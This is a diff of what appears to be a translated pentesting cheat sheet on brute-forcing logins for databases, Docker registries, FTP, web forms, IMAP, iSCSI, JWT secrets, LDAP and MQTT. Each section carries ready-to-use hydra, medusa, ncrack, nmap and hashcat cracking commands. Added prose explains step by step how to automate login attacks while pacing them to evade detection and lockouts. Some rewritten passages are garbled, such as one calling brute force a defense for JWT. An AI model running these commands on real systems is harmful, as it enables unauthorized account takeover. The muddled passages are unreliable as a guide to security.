-ブルートフォース攻撃は、Cassandraデータベースに対して非常に効果的な攻撃手法です。この攻撃では、すべての可能な組み合わせを試し、正しい認証情報を見つけることを目指します。 +ブルートフォース攻撃にはいくつかの手法があります。 -以下は、Cassandraデータベースに対するブルートフォース攻撃の手順です。 +1. 辞書攻撃: 事前に作成された辞書ファイルを使用して、一連の単語やフレーズを試します。一般的なパスワードや一般的なフレーズを使用している場合、この攻撃手法は効果的です。 -1. ユーザー名のリストを作成します。 -2. パスワードのリストを作成します。 -3. ユーザー名とパスワードの組み合わせを順番に試します。 -4. 正しい認証情報が見つかるまで、組み合わせを繰り返します。 +2. 総当たり攻撃: すべての可能な組み合わせを順番に試します。この攻撃手法は非常に時間がかかるため、短いパスワードや単純な鍵の場合にのみ有効です。 -ブルートフォース攻撃は、パスワードが弱い場合やデフォルトの認証情報が使用されている場合に特に効果的です。したがって、Cassandraデータベースのセキュリティを強化するためには、強力なパスワードポリシーを実装し、デフォルトの認証情報を変更することが重要です。 +3. ハイブリッド攻撃: 辞書攻撃と総当たり攻撃を組み合わせた攻撃手法です。まず辞書攻撃を試し、成功しない場合に総当たり攻撃に移ります。 -また、ブルートフォース攻撃を防ぐために、Cassandraデータベースにはログイン試行回数の制限やアカウントロックアウトの機能を設定することも推奨されます。これにより、攻撃者が大量の試行を行うことを防ぐことができます。 +## ブルートフォース攻撃のリソース + +ブルートフォース攻撃を実行するためには、いくつかのリソースが必要です。 + +1. パフォーマンスの高いハードウェア: ブルートフォース攻撃は非常に計算量が多いため、高性能なハードウェアが必要です。 + +2. 辞書ファイル: ブルートフォース攻撃に使用する辞書ファイルは、一連の一般的な単語やフレーズを含んでいます。 + +3. ブルートフォース攻撃ツール: ブルートフォース攻撃を自動化するためのツールが必要です。これにより、大量の組み合わせを効率的に試すことができます。 + +## ブルートフォース攻撃の対策 + +ブルートフォース攻撃からデータを保護するためには、いくつかの対策を講じることが重要です。 + +1. 強力なパスワードポリシーの実施: パスワードは長く複雑であるべきです。また、定期的にパスワードを変更することも重要です。 + +2. ロックアウト機能の有効化: 一定回数の誤った試行後にアカウントをロックする機能を有効にすることで、ブルートフォース攻撃を防ぐことができます。 + +3. 二要素認証の使用: パスワードに加えて、追加の認証要素を使用することで、セキュリティを強化することができます。 + +4. ブルートフォース攻撃の検知と監視: ブルートフォース攻撃を検知し、適切な対策を講じるための監視システムを導入することが重要です。 + +以上がブルートフォース攻撃に関する基本的な情報です。これらの情報を活用して、データを保護するための適切な対策を講じることが重要です。 ```bash nmap --script cassandra-brute -p 9160 ``` # CouchDB -CouchDBは、ドキュメント指向のデータベースであり、HTTPプロトコルを使用してデータにアクセスすることができます。CouchDBは、データベースのブルートフォース攻撃に対して脆弱な場合があります。 +CouchDBは、ドキュメント指向のデータベースであり、HTTPプロトコルを使用してデータにアクセスすることができます。CouchDBは、データベースのブルートフォース攻撃に対して脆弱性を持っていることが知られています。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を推測するために連続的に試行する攻撃手法です。 -## ブルートフォース攻撃 +CouchDBのブルートフォース攻撃を防ぐためには、以下の方法があります。 -ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証トークンなどの秘密情報を推測するために使用されます。CouchDBのブルートフォース攻撃では、一連のパスワードを試し、正しいパスワードを見つけるまで続けます。 +1. 強力なパスワードの使用: CouchDBには、強力なパスワードを使用することが重要です。パスワードは、長さが十分であり、大文字と小文字、数字、特殊文字を組み合わせたものを選ぶべきです。 -以下は、CouchDBのブルートフォース攻撃を実行するための手順です。 +2. ログイン試行回数の制限: CouchDBには、ログイン試行回数を制限する機能があります。これにより、攻撃者が連続してパスワードを試行することを防ぐことができます。ログイン試行回数の制限は、CouchDBの設定ファイルで構成することができます。 -1. ユーザー名とパスワードのリストを作成します。 -2. リスト内の各ユーザー名とパスワードの組み合わせを使用してCouchDBにログインを試みます。 -3. 正しいユーザー名とパスワードの組み合わせが見つかるまで、ステップ2を繰り返します。 +3. IP制限: CouchDBには、特定のIPアドレスからのアクセスを制限する機能もあります。これにより、不正なアクセス元からのブルートフォース攻撃を防ぐことができます。IP制限は、CouchDBの設定ファイルで設定することができます。 -ブルートフォース攻撃は、パスワードが強力である場合や、アカウントがロックアウトされるまで続けられる場合に効果的です。しかし、CouchDBはデフォルトで連続した認証試行の制限を設けているため、攻撃者は制限に達する前に攻撃を中止する必要があります。 - -## 防御策 - -CouchDBのブルートフォース攻撃からデータを保護するためには、以下の防御策を実装することが重要です。 - -- 強力なパスワードポリシーを採用し、複雑なパスワードを使用します。 -- ログイン試行回数の制限を設定し、一定回数の認証試行後にアカウントをロックアウトするようにします。 -- IPアドレスベースのブラックリストやホワイトリストを使用して、不正なアクセスを制限します。 -- セキュリティパッチやアップデートを定期的に適用し、最新のセキュリティ対策を保ちます。 - -これらの防御策を実装することで、CouchDBのブルートフォース攻撃からデータを保護することができます。 +これらの対策を実施することで、CouchDBのブルートフォース攻撃を防ぐことができます。ただし、常に最新のセキュリティパッチを適用し、セキュリティ意識を高めることも重要です。 ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` -## Docker レジストリ +# Docker レジストリ Docker レジストリは、Docker イメージを保存および管理するための中央リポジトリです。Docker イメージは、アプリケーションやサービスのコンテナ化されたバージョンを表します。 Docker レジストリには、公開レジストリとプライベートレジストリの2つのタイプがあります。公開レジストリは、誰でもアクセスできる一般的なイメージのリポジトリです。一方、プライベートレジストリは、特定の組織やユーザーによって制御されるイメージのリポジトリです。 -Docker レジストリへのアクセスを制限するために、認証情報を使用することができます。一般的な認証方法には、ユーザー名とパスワード、トークン、または SSH 鍵があります。 +Docker レジストリへのアクセスを制限するために、認証やアクセス制御の仕組みを使用することができます。これにより、機密性の高いイメージを保護し、不正なアクセスから保護することができます。 -Docker レジストリへの不正アクセスを試みる際には、ブルートフォース攻撃が使用されることがあります。ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試行し、正しい認証情報を見つけることを目指します。 +Docker レジストリへの攻撃を防ぐために、強力なパスワードポリシーや二要素認証を使用することが重要です。また、ブルートフォース攻撃から保護するために、パスワードの複雑さを確保することも重要です。 -ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。また、2要素認証やIP制限などの追加のセキュリティ対策も検討することができます。 - -Docker レジストリのセキュリティを確保するためには、定期的な脆弱性スキャンやログ監視、アクセス制御の確立などの対策を実施することが重要です。 +Docker レジストリのセキュリティを向上させるためには、定期的な脆弱性スキャンやパッチ適用、ログの監視などのセキュリティ対策を実施することが推奨されます。 ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` # Elasticsearch -Elasticsearchは、Apache Luceneの上に構築された分散型のRESTful検索・分析エンジンです。ログやイベントデータの分析、全文検索、リアルタイム分析によく使われています。Elasticsearch は、大量のデータを保存、検索、分析するためのスケーラブルで効率的なソリューションを提供します。 +Elasticsearch is a distributed, RESTful search and analytics engine built on top of Apache Lucene. It provides a scalable solution for storing, searching, and analyzing large volumes of data in real-time. -## Brute-Force Attacks +## Brute Force Attacks -ブルートフォース攻撃は Elasticsearch インスタンスへの不正アクセスによく使われる方法です。ブルートフォース攻撃では、攻撃者は正しい認証情報が見つかるまで、ユーザ名とパスワードのすべての可能な組み合わせを系統的に試します。 +Brute force attacks are a common method used by hackers to gain unauthorized access to Elasticsearch instances. In a brute force attack, the hacker systematically tries all possible combinations of usernames and passwords until the correct credentials are found. -ブルートフォース攻撃から保護するためには、強力な認証メカニズムを実装し、パスワードの複雑性要件を強制することが重要です。さらに、ログイン試行が何度も失敗するのを防ぐために、レート制限とアカウント・ロックアウト・ポリシーを実装することができる。 +To protect against brute force attacks, it is important to implement strong security measures, such as: -## Tools for Brute-Force Attacks -Elasticsearchに対してブルートフォースアタックを行うためのツールはいくつかあります。ポピュラーなツールには以下のようなものがあります: +1. **Use strong passwords**: Ensure that all Elasticsearch user accounts have strong, unique passwords that are not easily guessable. -- **Patator**: Elasticsearch を含む様々なプロトコルをサポートする多目的ブルートフォースツールです。 -- **Hydra**: Elasticsearchに対してブルートフォースアタックを行うことができる強力なネットワークログインクラッカーです。 -- **Medusa**: Elasticsearch をサポートする、高速、並列、モジュール型のログインブルートフォースです。 +2. **Implement account lockouts**: Set up account lockouts after a certain number of failed login attempts. This can help prevent brute force attacks by temporarily locking out the attacker. -これらのツールを不正アクセスのために使用することは違法であり、非倫理的であることに注意することが重要です。これらのツールは、侵入テストやセキュリティ調査のような正当な目的にのみ使用してください。 +3. **Enable IP whitelisting**: Restrict access to Elasticsearch instances by allowing only trusted IP addresses to connect. This can help prevent unauthorized access from unknown sources. -## Prevention Techniques +4. **Monitor for suspicious activity**: Regularly monitor Elasticsearch logs for any signs of brute force attacks or unauthorized access attempts. Implementing a log monitoring system can help detect and respond to such incidents in a timely manner. -Elasticsearchに対するブルートフォース攻撃を防ぐには、以下のテクニックの実装を検討してください: - -- **Strong Passwords**: ブルートフォース攻撃に耐性のある、強力で複雑なパスワードの使用を強制する。 -- **Account Lockout**: ログインに一定回数失敗すると、ユーザーアカウントを一時的にロックするアカウントロックアウトポリシーを導入する。 -- **Rate Limiting**: 特定の時間枠内でのログイン試行回数を制限するレート制限メカニズムを導入する。 -- **Monitoring and Logging**: Elasticsearchのログに不審な動きがないか監視し、ログインの失敗を追跡するロギングメカニズムを実装する。 -- **Two-Factor Authentication**: 二要素認証を導入し、認証プロセスにさらなるセキュリティ層を追加する。 - -これらの防止テクニックを実装することで、ブルートフォース攻撃のリスクを大幅に減らし、Elasticsearchインスタンスのセキュリティを強化することができます。 +By following these security best practices, you can significantly reduce the risk of brute force attacks on your Elasticsearch instances. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` -### FTP +## FTP -FTP(File Transfer Protocol)は、ファイルの転送に使用されるプロトコルです。FTPサーバーに対してブルートフォース攻撃を行うことで、正当な認証情報を推測し、アクセスを試みることができます。 +FTP(File Transfer Protocol)は、ファイルをサーバーとクライアント間で転送するためのプロトコルです。FTPサーバーには、ファイルのアップロードやダウンロードを行うための認証情報が必要です。 -#### ブルートフォース攻撃 +ブルートフォース攻撃は、FTPサーバーへのアクセスを試みる際に使用される一般的な攻撃手法の1つです。この攻撃では、辞書やパスワードリストを使用して、可能なすべてのパスワードの組み合わせを試行します。攻撃者は、正しいパスワードを見つけるまで、繰り返しログイン試行を行います。 -ブルートフォース攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試すことで、正当な認証情報を見つけ出す手法です。FTPサーバーに対してブルートフォース攻撃を行う場合、一連のユーザー名とパスワードの組み合わせを試し、正しい組み合わせを見つけることを目指します。 +ブルートフォース攻撃は、パスワードが弱い場合に効果的ですが、強力なパスワードを使用している場合は成功する可能性が低くなります。また、攻撃者が大量のログイン試行を行うため、サーバーの負荷が増加する可能性があります。 -#### ブルートフォース攻撃の手法 +FTPサーバーのセキュリティを向上させるためには、以下の対策を講じることが重要です。 -以下に、FTPサーバーに対するブルートフォース攻撃の一般的な手法を示します。 +- 強力なパスワードポリシーを実施する +- ログイン試行回数の制限を設定する +- IPアドレスベースのアクセス制御を実装する +- ログイン試行の監視とアラートシステムを導入する -1. 辞書攻撃:事前に作成された辞書ファイルを使用して、一連のユーザー名とパスワードの組み合わせを試します。辞書ファイルには、一般的なパスワードや一般的なユーザー名が含まれていることがあります。 - -2. ブルートフォース攻撃:すべての可能な組み合わせを試すため、ユーザー名とパスワードの組み合わせを生成します。この手法は非常に時間がかかる場合がありますが、正しい組み合わせを見つける可能性が高くなります。 - -3. ハイブリッド攻撃:辞書攻撃とブルートフォース攻撃を組み合わせた手法です。まず、辞書攻撃を試し、成功しなかった場合にはブルートフォース攻撃を行います。 - -#### ブルートフォース攻撃のツール - -以下に、FTPサーバーに対するブルートフォース攻撃に使用できる一般的なツールを示します。 - -- Hydra:多くのプロトコルに対応したブルートフォース攻撃ツールです。FTPサーバーに対しても使用することができます。 - -- Medusa:ブルートフォース攻撃に特化したツールで、高速かつ効率的な攻撃を行うことができます。 - -- Ncrack:ネットワーク認証クラッキングツールで、FTPサーバーに対してブルートフォース攻撃を行うことができます。 - -これらのツールは、正当な認証情報を見つけ出すために使用されますが、合法的な目的でのみ使用することが重要です。 +FTPサーバーのセキュリティを確保するためには、ブルートフォース攻撃に対する防御策を適切に実施することが重要です。 ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] @@ -298,81 +272,88 @@ medusa -h -u -P -M http -m DIR:/path/to/auth - ``` ### HTTP - ポストフォーム -この技術では、攻撃者はウェブサイトのログインフォームの資格情報を推測するためにブルートフォース攻撃を使用します。攻撃者は、異なるユーザ名とパスワードの組み合わせを使用して、ウェブサイトのログインエンドポイントに複数のHTTP POSTリクエストを送信します。 +Brute forcing a login form is a common technique used to gain unauthorized access to a web application. In this method, an attacker systematically tries different combinations of usernames and passwords until a successful login is achieved. -攻撃者は、スクリプトやツールを使用して、このプロセスを自動化することができます。これらのリクエストを自動的に生成して送信することができます。サーバーから受け取ったレスポンスを分析することで、攻撃者は特定の資格情報の組み合わせが有効かどうかを判断することができます。 +To perform a brute force attack on an HTTP POST form, the following steps can be followed: -ログインフォームのブルートフォース攻撃は時間がかかるため、アカウントのロックアウトやレート制限などのセキュリティメカニズムをトリガーする可能性があります。そのため、パスワードスプレー攻撃やクレデンシャルスタッフィング攻撃などのより効率的で検出されにくい技術を使用することを推奨します。 +1. Identify the login form: Inspect the HTML source code of the login page to locate the form element that accepts the username and password. + +2. Prepare a wordlist: Create a list of possible usernames and passwords that will be used for the brute force attack. This list can be generated using common passwords, dictionary words, or custom combinations. + +3. Automate the attack: Use a scripting language or a tool like Burp Suite to automate the process of sending POST requests to the login form. The script or tool should iterate through the wordlist, sending a request for each combination of username and password. + +4. Handle response codes: Analyze the response codes received from the server after each request. A successful login attempt will typically result in a redirect or a specific response code indicating a successful authentication. + +5. Implement rate limiting: To avoid detection and potential account lockouts, it is important to implement rate limiting in the brute force attack. This can be done by introducing delays between each request or by limiting the number of requests per minute. + +6. Monitor and analyze logs: Keep track of the login attempts and monitor the server logs for any suspicious activity. This will help identify any successful login attempts or potential security breaches. + +It is important to note that brute forcing a login form is a time-consuming process and may not always be successful. Additionally, it is illegal and unethical to perform brute force attacks without proper authorization. ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +http**s**の場合は、「http-post-form」を「**https-post-form」に変更する必要があります。 -http**s**の場合は、"http-post-form "から **"https-post-form"**に変更する必要があります。 ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` -IMAP(Internet Message Access Protocol)は、メールサーバー上の電子メールメッセージを取得・管理するためのプロトコルである。これにより、ユーザーは自分のメールアカウントにリモートでアクセスし、メッセージの閲覧、削除、移動など様々な操作を行うことができる。 +IMAP (Internet Message Access Protocol) is a widely used protocol for email retrieval. It allows users to access their email messages on a remote mail server. IMAP supports both online and offline modes, allowing users to manage their email messages even when they are not connected to the server. #### Brute Forcing IMAP Credentials -ブルートフォースとは、パスワードを推測するために使われる一般的なテクニックです。IMAP のコンテキストでは、ブルートフォース攻撃は、正しいユーザ名とパスワードの組み合わせを推測することで、電子メールアカウントに不正にアクセスするために使用できます。 +Brute forcing is a common technique used to gain unauthorized access to IMAP accounts. It involves systematically trying all possible combinations of usernames and passwords until the correct credentials are found. -IMAP 認証情報に対してブルートフォース攻撃を行うには、Hydra や Medusa のようなツールを使うことができます。これらのツールは、IMAPサーバーに対して異なるユーザー名とパスワードの組み合わせを試すプロセスを自動化します。 +To perform a brute force attack on an IMAP server, you can use tools like Hydra or Medusa. These tools automate the process of trying different username and password combinations, making it easier to find the correct credentials. -以下は Hydra を使って IMAP 認証情報をブルートフォースするコマンドの例です: +Before launching a brute force attack, it is important to gather information about the target, such as the email address format and any known usernames. This information can help narrow down the list of possible usernames to try. -```plaintext -hydra -L users.txt -P passwords.txt imap://target.com -``` +When attempting a brute force attack, it is crucial to use a strong password list that includes common passwords, dictionary words, and variations of known passwords. Additionally, it is recommended to use a tool that supports multi-threading, as this can significantly speed up the attack. -このコマンドでは、`users.txt`と`passwords.txt`はそれぞれユーザー名とパスワードのリストを含むファイルである。`target.com`はターゲットIMAPサーバーである。 - -ブルートフォースは攻撃的で時間のかかるテクニックであることに注意することが重要です。これは侵入検知システム(IDS)によって検知される可能性があり、アカウントのロックアウトやその他のセキュリティ対策につながる可能性があります。従って、ブルート・フォース技法は、適切な認可の下、責任を持って使用することを推奨します。 +To avoid detection and mitigate the risk of being blocked by the server, it is advisable to set a delay between each login attempt. This delay should be long enough to avoid triggering any account lockout mechanisms but short enough to maintain a reasonable attack speed. +It is important to note that brute forcing is an illegal activity unless performed with proper authorization. Always ensure that you have the necessary permissions and legal rights before attempting any brute force attacks. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p ``` -IRC(Internet Relay Chat)は、インターネット上でリアルタイムのテキストベースのコミュニケーションを可能にするプロトコルです。IRCは、チャットルームと呼ばれるグループチャットの形式を使用し、ユーザーがテキストメッセージを送信および受信することができます。IRCは、オープンなプロトコルであり、クライアントソフトウェアを使用してアクセスすることができます。 +IRC(Internet Relay Chat)は、インターネット上でリアルタイムのテキストベースのコミュニケーションを行うためのプロトコルです。IRCは、チャットルームと呼ばれるグループチャットや、個別のプライベートメッセージを通じてユーザー間でのコミュニケーションを可能にします。 -IRCサーバーに対するブルートフォース攻撃は、ユーザー名とパスワードの組み合わせを総当たりで試行し、正しい認証情報を見つけることを試みる攻撃手法です。この攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するために使用されます。 +IRCサーバーに接続するためには、IRCクライアントソフトウェアを使用します。一般的なIRCクライアントには、mIRC、HexChat、irssiなどがあります。IRCクライアントを使用すると、IRCサーバーに接続し、チャットルームに参加したり、他のユーザーとのプライベートメッセージを送受信したりすることができます。 -ブルートフォース攻撃を実行するためには、ブルートフォースツールを使用する必要があります。これらのツールは、自動化された方法で大量のユーザー名とパスワードの組み合わせを試行することができます。攻撃者は、一般的なパスワードや辞書攻撃を使用して、より効率的に攻撃を行うことができます。 +IRCは、ユーザー名とパスワードを使用して認証することができます。一部のIRCサーバーでは、ブルートフォース攻撃を使用してパスワードを解読しようとする試みが行われることがあります。ブルートフォース攻撃は、すべての可能なパスワードの組み合わせを試し、正しいパスワードを見つけることを試みる方法です。 -ブルートフォース攻撃は、セキュリティ対策が不十分なシステムに対して非常に効果的な攻撃手法です。したがって、ユーザーは強力なパスワードを使用し、2要素認証などの追加のセキュリティ対策を実装することが重要です。また、システム管理者はブルートフォース攻撃を検知および防御するための適切な対策を講じる必要があります。 +ブルートフォース攻撃を防ぐためには、強力なパスワードを使用することが重要です。また、アカウントロックアウトやログイン試行回数の制限などのセキュリティ対策も有効です。さらに、IRCサーバーの管理者は、不審なアクティビティを監視し、不正なログイン試行を検出するためのログやアラートシステムを設定することができます。 + +IRCサーバーのブルートフォース攻撃は、セキュリティ上の脆弱性となり得るため、適切な対策を講じることが重要です。 ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI -iSCSI (Internet Small Computer System Interface) は、TCP/IP ネットワークを介してブロックベースのデータストレージを提供するプロトコルです。iSCSI を使用すると、リモートのストレージデバイスをローカルのホストに接続し、データの読み書きを行うことができます。 +iSCSI (Internet Small Computer System Interface) is a protocol that allows the transmission of SCSI commands over IP networks. It enables the use of storage devices over a network, making it possible to access remote storage resources as if they were local. -iSCSI は、ブロックレベルのアクセスを提供するため、ファイルシステムを使用せずにデータを直接読み書きすることができます。これにより、高速なデータ転送が可能となります。 +iSCSI uses the TCP/IP protocol suite to establish connections between the initiator (client) and the target (storage device). The initiator sends SCSI commands to the target, which processes them and returns the results. -iSCSI のセキュリティは、CHAP(Challenge-Handshake Authentication Protocol)やIPsec(Internet Protocol Security)などの認証および暗号化メカニズムを使用して確保することができます。 +Brute forcing iSCSI targets involves systematically trying different combinations of usernames and passwords to gain unauthorized access to the target. This technique can be used to exploit weak or default credentials and gain unauthorized access to sensitive data stored on the target. -iSCSI の攻撃手法としては、ブルートフォース攻撃があります。これは、パスワードを推測するために総当たりで試行する方法です。ブルートフォース攻撃は、弱いパスワードを使用している場合に有効な攻撃手法となります。 +To perform a brute force attack on an iSCSI target, you can use tools like Hydra or Medusa, which are capable of automating the process of trying different username and password combinations. These tools can be configured with a list of usernames and passwords to try, and they will systematically attempt each combination until a successful login is achieved. -iSCSI のセキュリティを強化するためには、強力なパスワードポリシーを実装し、パスワードの推測を困難にすることが重要です。また、セキュリティプロトコルを適切に設定し、不正なアクセスを防止する必要があります。 +It is important to note that brute forcing iSCSI targets is an unethical and illegal activity unless you have explicit permission from the target owner to perform such actions. Always ensure you are conducting penetration testing or security assessments within the boundaries of the law and with proper authorization. ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` -### JWT +JWT(JSON Web Token)は、認証と情報の安全な伝送を可能にするための開放的な標準です。JWTは、JSON形式で情報をエンコードし、署名または暗号化してトークンとして使用します。JWTは、ユーザーの認証情報やクレーム(権限、ロールなど)を含むことができます。JWTは、クライアントとサーバー間での信頼性のある通信を確保するために使用されます。 -JWT(JSON Web Token)は、認証と情報の安全な伝送を可能にするためのオープンスタンダードです。JWTは、クライアントとサーバー間でデータを安全にやり取りするために使用されます。 +JWTの攻撃に対する防御策として、ブルートフォース攻撃があります。ブルートフォース攻撃は、すべての可能な組み合わせを試行し、正しいトークンを見つけることを試みる攻撃です。この攻撃を防ぐためには、強力なパスワードポリシーを実装し、パスワードの複雑さを確保する必要があります。また、アカウントロックアウトやCAPTCHAなどのセキュリティメカニズムを導入することも有効です。 -JWTは、3つのセクションから構成されています:ヘッダ、ペイロード、署名。ヘッダは、トークンのタイプと使用する署名アルゴリズムを指定します。ペイロードは、トークンに含まれる情報を格納します。署名は、トークンの信頼性を確保するために使用されます。 +ブルートフォース攻撃を防ぐための他の方法として、トークンの有効期限を短くすることや、認証試行回数の制限を設けることも考えられます。さらに、セキュリティテストやペネトレーションテストを定期的に実施し、システムの脆弱性を特定し、修正することも重要です。 -JWTの一般的な攻撃手法の1つは、ブルートフォース攻撃です。ブルートフォース攻撃では、すべての可能な組み合わせを試して、正しい署名を見つけることを試みます。これにより、攻撃者はトークンを偽造して、認証をバイパスすることができます。 +JWTのセキュリティを確保するためには、適切な暗号化アルゴリズムを使用し、署名キーを厳密に管理する必要があります。また、信頼できる認証局を使用して署名を検証することも重要です。 -ブルートフォース攻撃を防ぐためには、強力なパスワードや署名キーを使用し、適切なセキュリティ対策を実施する必要があります。また、トークンの有効期限を短く設定することも重要です。これにより、攻撃者が十分な時間を持ってブルートフォース攻撃を行うことができなくなります。 - -さらに、JWTの署名アルゴリズムを慎重に選択することも重要です。強力な署名アルゴリズムを使用することで、攻撃者が署名を解読することを困難にします。 - -最後に、JWTのセキュリティを確保するためには、トークンの送信と保存にHTTPSを使用することが重要です。HTTPSは、データの暗号化と送信元の認証を提供するため、トークンの漏洩や改ざんを防ぐのに役立ちます。 +以上が、JWTに関する情報とブルートフォース攻撃に対する防御策です。 ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -395,17 +376,21 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` -### LDAP +## LDAP -LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。ディレクトリサービスは、ユーザー、グループ、コンピュータなどの情報を格納するために使用されます。LDAPは、ディレクトリサービスへのクエリや変更の要求を処理するために使用されます。 +LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。ディレクトリサービスは、ユーザー、グループ、コンピュータなどの情報を格納するために使用されます。LDAPは、ディレクトリサービスに対して検索、追加、変更、削除などの操作を行うための方法を提供します。 -LDAPのブルートフォース攻撃は、辞書攻撃とも呼ばれ、LDAPサーバーに対してユーザー名とパスワードの組み合わせを総当たりで試行することです。この攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するために使用されます。 +LDAPサーバーに対するブルートフォース攻撃は、一連のパスワードを試し、正しいパスワードを見つけることを目指します。これにより、攻撃者はLDAPサーバーに不正アクセスすることができます。 -ブルートフォース攻撃を実行するためには、辞書ファイルを作成し、LDAPサーバーに対してユーザー名とパスワードの組み合わせを順番に試行します。攻撃者は、辞書ファイルを作成する際に、一般的なパスワードや一般的なユーザー名のリストを使用することがあります。 +ブルートフォース攻撃は、一般的に辞書攻撃として知られています。攻撃者は、一連の一般的なパスワードや辞書に含まれる単語を試し、正しいパスワードを見つけることを試みます。攻撃者は、パスワードポリシーの弱さやユーザーの選択した弱いパスワードに依存しています。 -ブルートフォース攻撃は、パスワードポリシーが弱い場合や、強力なパスワードを使用することが困難な状況で特に有効です。攻撃者は、パスワードの推測を試みることで、システムへの不正アクセスを試みることができます。 +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、ユーザーに強力なパスワードの使用を促す必要があります。また、アカウントロックアウト機能を有効にすることも重要です。これにより、一定回数の誤ったパスワード試行後にアカウントがロックアウトされ、攻撃者の試行を制限することができます。 -ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。また、二要素認証やIP制限などの追加のセキュリティ対策も有効です。 +ブルートフォース攻撃を検出するためには、ログイン試行の異常な増加を監視する必要があります。また、IPアドレスやユーザーアカウントのブラックリストを作成し、不正なアクセスをブロックすることも有効です。 + +LDAPサーバーのセキュリティを強化するためには、最新のセキュリティパッチを適用し、不要なサービスやポートを無効化することが重要です。また、アクセス制御リスト(ACL)を使用して、不正なアクセスを制限することも推奨されます。 + +ブルートフォース攻撃は、セキュリティ上の脆弱性を悪用するため、LDAPサーバーのセキュリティを強化することは非常に重要です。 ```bash nmap --script ldap-brute -p 389 ``` @@ -415,73 +400,56 @@ MQTT(Message Queuing Telemetry Transport)は、軽量なメッセージン MQTTは、パブリッシャーとサブスクライバーの2つの役割を持つクライアント間の非同期通信を可能にします。パブリッシャーはメッセージをトピックにパブリッシュし、サブスクライバーは特定のトピックにサブスクライブしてメッセージを受信します。 -MQTTのセキュリティに関しては、以下のポイントに注意する必要があります。 +MQTTのセキュリティには注意が必要です。デフォルトの設定では、認証や暗号化が行われないため、攻撃者による盗聴や改ざんのリスクがあります。したがって、適切なセキュリティ対策を講じることが重要です。 -- ユーザー名とパスワードの認証を使用して、クライアントの正当性を確認します。 -- TLS(Transport Layer Security)を使用して通信を暗号化します。 -- トピックのアクセス制御リスト(ACL)を設定して、不正なアクセスを制限します。 +MQTTのブルートフォース攻撃は、パスワードの推測に基づいて行われます。攻撃者は、一連のパスワードを試し、正しいパスワードを見つけることを目指します。この攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウトやログイン試行回数の制限などのセキュリティメカニズムを使用することが重要です。 -MQTTのブルートフォース攻撃は、パスワードの推測を試みることで行われます。攻撃者は一連のパスワードを試し、正しいパスワードを見つけることを目指します。この攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。 +ブルートフォース攻撃を検出するためには、ログイン試行回数の異常な増加や異なるIPアドレスからのログイン試行などの異常なアクティビティを監視することが重要です。また、ログイン試行回数の制限やCAPTCHAの導入などの対策を講じることも有効です。 -ブルートフォース攻撃を検出するためには、ログイン試行の異常な増加を監視し、異常なアクティビティを検知するセキュリティツールを使用することが推奨されます。また、IPアドレスのブラックリストやCAPTCHAの導入も有効な対策です。 +MQTTのセキュリティを強化するためには、TLS(Transport Layer Security)プロトコルを使用して通信を暗号化することが推奨されます。また、認証機構を導入し、信頼できるクライアントのみが接続できるようにすることも重要です。 -MQTTのセキュリティを強化するためには、以下の対策を実施することが重要です。 - -- デフォルトのユーザー名とパスワードを変更する。 -- TLSを使用して通信を暗号化する。 -- トピックのアクセス制御リスト(ACL)を設定する。 -- ブルートフォース攻撃を防ぐために強力なパスワードポリシーを実装する。 -- ログイン試行の異常な増加を監視し、異常なアクティビティを検知するセキュリティツールを使用する。 -- IPアドレスのブラックリストやCAPTCHAの導入を検討する。 - -これらの対策を実施することで、MQTTのセキュリティを強化し、悪意のある攻撃から保護することができます。 +以上がMQTTに関する概要です。セキュリティには十分な注意を払い、適切な対策を講じることが重要です。 ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v ``` -# Mongo DB +# ブルートフォース攻撃 